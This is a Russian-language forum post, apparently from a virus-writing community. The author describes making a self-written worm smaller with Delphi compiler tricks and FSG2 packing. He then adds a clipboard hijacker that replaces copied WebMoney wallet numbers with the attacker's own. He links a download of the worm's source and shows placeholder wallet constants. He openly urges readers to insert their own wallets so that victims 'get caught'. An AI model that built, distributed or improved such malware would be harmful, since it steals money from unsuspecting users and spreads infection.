Слова человека любящего споры типа - а вот мой дешка - капитан на корабле!!!))) Вообще если сделать не службой, как у меня, и не делать api-шный счётчик, а использовать sleep() то размер составит окло 1200 байт..
Цитата:
Кстати на делфи тоже можно сделать еще меньше если модуль компилить с помощью Delphi3 в OBJ и собирать майкрософтовским линкером.
Извиняюсь за жаргон, без соплей известно, кстати таким методом я многие программы в том числе и представленные на аччате писал, но в этом случае этот вариант оказался меньше размером.. Поясняю. Если писать проги этим методом, то их нельзя упаковывать ибо они после этого отказуются работать, а прога написанная без RTL имеет стандартный формат и поэтому может быть упакованной.. Так вот, прога компилированная тем методом имеет вес 3100 байт...
На счет дополнительных функций я думаю добавить в черв на всякий пожарный WM-троя... Исходник в этом же топике выложу...
Как и обещал, добавил в этого червя функцию WM-троя (подменщик буфера обмена с номером кошелька).. Теперь червь после пака FSG2 весит 3029 байт, т.е. почти дотягивает до трёх килобай... Вот исходник: virusoff.pisem.su/WM_WORM.RAR . Компилировать исходник нужно так же как и предыдущий... В случае применения не забудьте в константах вставить свои кошельки, авось кто-то и поймается)))
Код:
U = 'U11111111111';
E = 'E22222222222';
R = 'R33333333333';
Z = 'Z44444444444';